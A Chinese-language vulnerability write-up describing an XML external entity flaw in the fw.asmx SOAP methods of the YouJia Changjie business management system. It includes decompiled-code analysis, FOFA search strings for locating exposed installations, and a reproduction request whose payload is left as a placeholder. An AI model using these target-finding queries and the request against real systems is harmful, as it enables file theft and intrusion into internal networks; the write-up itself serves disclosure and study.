漏洞简介
友加畅捷管理系统是一款专为小微商贸流通企业设计的财务业务一体化管理软件,涵盖进销存、财务、分销及移动管理等多个模块,旨在帮助企业实现高效的业务运营和财务核算。
该系统fw.asmx下的ZTList、login、OrderPost、OrderUpdate、QueryUnit、QueryUnit_Sup、QueryUnit_Cus、QueryStoreHouse、QueryEmp、QueryDept、QueryMoneyAccount、GetBillSN、QueryProd、QueryBarCode、QueryProdUnit、QueryProdBatch、GetPrice、QueryOutStorBillDraft、QuerySaleOrder、QueryProdPrice、QuerySaleOrderDetail、QuerySaleBillDrafeDetail、GetUserList、GetPriceNameList等方法均存在 XML实体注入(XXE)漏洞,是由于其在处理XML输入时,未能有效禁用外部实体加载所导致。攻击者可以通过构造恶意的XML数据,并在其中引用外部实体,当系统解析这些未经严格过滤的XML数据时,便会触发漏洞。
成功利用此漏洞可能导致多种严重的安全风险,包括但不限于敏感信息泄露(如读取系统文件)、执行任意系统命令、对内网进行端口扫描、攻击内部网络服务,甚至发起拒绝服务(DoS)攻击等。
影响版本
18.8000.1095.1000
fofa语法
icon_hash="2049187099" || fid="zzt8lL7SUwIIZQXZY6rTSw=="
漏洞分析
直接查看 fw.asmx 文件的代码引用
<%@ WebService Language="C#" CodeBehind="fw.asmx.cs" Class="CnSub.Web.fw" %>
直接在 bin 目录下反编译 CnSub.Web.dll 获取 fw 的ZTList处理逻辑

可以看到xmldata被直接带入setXmlData方法,跟进setXmlData方法看下它的实现逻辑

可以看到setXmlData方法直接将xmldata使用XmlDocument的LoadXml进行XML反序列化操作,但是并没有对参数xmldata 传递的数据进行过滤或校验,造成XML实体注入(XXE)漏洞。
其他方法也是存在同样的XXE漏洞

漏洞复现
POST /fw.asmx HTTP/1.1
Host: youjiasoft.mrxn.net
SOAPAction: http://tempuri.org/ZTList
Content-Type: application/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
<soapenv:Body>
<tem:ZTList>
<!--type: string-->
<tem:xmldata>XXE_POC</tem:xmldata>
</tem:ZTList>
</soapenv:Body>
</soapenv:Envelope>

成功在DNSLOG平台获得HTTP响应。

